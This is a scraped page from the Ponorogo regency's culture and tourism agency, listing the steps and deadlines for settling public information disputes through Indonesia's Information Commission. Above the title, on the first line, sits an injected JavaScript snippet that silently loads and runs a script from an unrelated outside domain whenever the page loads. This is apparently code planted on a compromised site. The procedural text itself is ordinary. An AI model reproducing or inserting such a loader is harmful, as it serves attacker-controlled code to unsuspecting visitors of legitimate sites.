;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Tata Cara Penyelesaian Sengketa Melalui Komisi Informasi – Dinas Kebudayaan Pariwisata Pemuda dan Olahraga Kabupaten Ponorogo

Tata Cara Penyelesaian Sengketa Melalui Komisi Informasi

Ponorogo Tourism

  • Upaya penyelesaian sengketa Informasi Publik diajukan kepada Komisi Informasi Pusat atau Komisi Informasi Provinsi atau Komisi Informasi Kabupaten/Kota sesuai dengan kewenangannya apabila tanggapan atasan Pejabat Pengelola Informasi dan Dokumentasi dalam proses keberatan tidak memuaskan Pemohon Informasi Publik.
  • Upaya penyelesaian Sengketa Informasi Publik diajukan dalam waktu paling lambat 14 (empat belas) hari kerja setelah diterimanya tanggapan tertulis dari atasan Pejabat Pengelola Informasi dan Dokumentasi.
  • Komisi Informasi Pusat mulai mengupayakan penyelesaian Sengketa Informasi Publik melalui Mediasi atau ajudikasi atau nonlitigasi paling lambat 14 (empat belas) hari kerja setelah menerima permohonan penyelesaian Sengketa Informasi Publik.
  • Proses penyelesaian sengketa informasi sebagaiman dimaksud dapat diselesaikan dalam waktu 100 (seratus) hari kerja.